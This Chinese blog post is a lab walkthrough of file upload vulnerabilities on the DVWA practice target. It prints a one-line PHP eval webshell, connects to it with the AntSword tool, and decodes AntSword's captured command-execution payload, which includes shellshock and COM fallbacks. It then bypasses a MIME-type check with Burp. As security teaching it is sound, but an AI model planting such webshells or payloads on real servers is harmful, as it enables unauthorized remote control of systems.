web安全学习笔记(五) 文件上传漏洞

0.前言

我们在访问一些网站时,比如学校网站等,会要求进行一些文件的上传操作,比如学校要求上传个人资料的时候,需要对图片进行上传。这些需要上传图片的地方,往往存在着文件上传漏洞。

1.一句话木马

之前的文章讲了如何搭建靶机,现在来看一下owasp的靶机。输入靶机的ip地址:
在这里插入图片描述
选择Damn Vulnerable Web Application, 在左侧的菜单栏选择upload。
在这里插入图片描述
这就是一个类似网站的上传文件的接口,点击choose file,选中文件后点击upload即可上传文件。在靶机处于低安全级别下,点击右下角查看PHP代码:

File Upload Source
<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

我们可以看到,虽然网站的功能要求是上传一张图片,但是对文件的类型和格式没有做出任何限制。我们新建一个PHP文件,里面写:

<?php @eval($_POST['keyword']); ?>

这行代码中,eval函数代表执行指令,比如eval(1+1),结果就为2。加@的意思是,即使程序执行错误,也不报错,一般是用来防止管理员发现的。这行代码的作为即为,接受post的keyword的参数,并且执行。这就是PHP的一句话木马。
选中这个文件,并上传。
在这里插入图片描述
由于服务器对上传没有任何类型和大小的限制,shell.php上传成功。

2.AntSword

AntSword,中文名是中国蚁剑,是一款开源的网站管理工具。
github地址源代码地址
加载器地址
使用时,可以直接下载AntSword加载器,为了防止软件被恶意篡改,请下载完成后核对MD5验证:
在这里插入图片描述
打开后,选择工作目录,会自动下载源代码,源代码下载成功后,即可运行。
当然也有可能遇到和我同样的问题,提示代码解压失败,可以选则手动克隆源代码,在工作目录下:

$ git clone https://github.com/AntSwordProject/AntSword.git

程序初始化完成后会重新启动,界面如下:
在这里插入图片描述
找到界面后,需要查询到刚才上传到服务器界面的路径
在这里插入图片描述
根据提示可以找到文件
在这里插入图片描述
在AntSword中右键空白处,点击添加数据,输入文件的路径以及密码,密码即为代码中写的keyword,连接类型选择PHP。
在这里插入图片描述
添加完成后,数据管理栏会显示添加的webshell:
在这里插入图片描述
双击连接:
在这里插入图片描述
可以看到服务器的目录结构已经显示出来,对有权限的目录也可以完成添加,查看,修改或是删除。
右键弹出菜单,除了文件管理外,也有许多其他功能,例如虚拟终端,数据库管理等:
在这里插入图片描述
在虚拟终端输入指令:
在这里插入图片描述
为了分析AntSword 是如何通过一句话木马实现对服务器的这些操作的,我们对AntSword设置代理。打开burp,并在AntSword设置代理为127.0.0.1:8080。
在这里插入图片描述
设置完成后,可以看到burp抓到了一个包,是POST指令
在这里插入图片描述
报文如下:

POST /dvwa/hackable/uploads/shell.php HTTP/1.1
Host: 192.168.85.129:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4046
Connection: close

keyword=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2213ceb85487%22%3Becho%20%40asenc(%24output)%3Becho%20%229249381a%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(%24_POST%5B%22o9f6a69c736cdd%22%5D)%3B%24s%3Dbase64_dec
ode(%24_POST%5B%22wed031e11f2964%22%5D)%3B%24envstr%3D%40base64_decode(%24_POST%5B%22r5243c350670d5%22%5D)%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(sub
str(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%
22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)
%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2
C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%
24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%
22%2C%20%22%22%2C%20%22%22%2C%20%22-
bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40
shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dne
w%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Bec
ho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&o9f6a69c736cdd=L2Jpbi9zaA%3D%3
D&r5243c350670d5=&wed031e11f2964=Y2QgIi92YXIvd3d3L2R2d2EvaGFja2FibGUvdXBsb2FkcyI7bHM7ZWNobyBbU107cHdkO2VjaG8gW0Vd

我们发现,AntSword向服务器通过POST传送了一个keyword的参数,这个参数就是一段代码,使用burp的decode对编码进行解密。
在这里插入图片描述
可以看到是一段PHP代码,传送过去以后,代码就会自动被eval函数执行,从而实现很多操作。

3.突破文件类型过滤

回到靶机中,把/var/www/dvwa/hachable/uploads文件夹下的shell.php删除
在这里插入图片描述
然后返回浏览器,在DVWA Security界面中,将安全级别设置为中等,此时再查看网页源码:

<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?>

发现此时已经对文件的格式和大小做出了限制:

($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)

此时再上传文件,发现已经不能成功上传了。这是为什么呢?我们对浏览器设置代理,用burp抓包分析:
在这里插入图片描述
可以看到,我们上传的PHP文件的类型是application/octet.stream,然而服务器对文件类型的要求则为image/jpeg,我们只要将数据包拦截,并且用burp修改ContentType字段,就可以实现上传成功了!
在这里插入图片描述

发布了5 篇原创文章 · 获赞 7 · 访问量 2131

猜你喜欢

转载自blog.csdn.net/qycc3391/article/details/104499140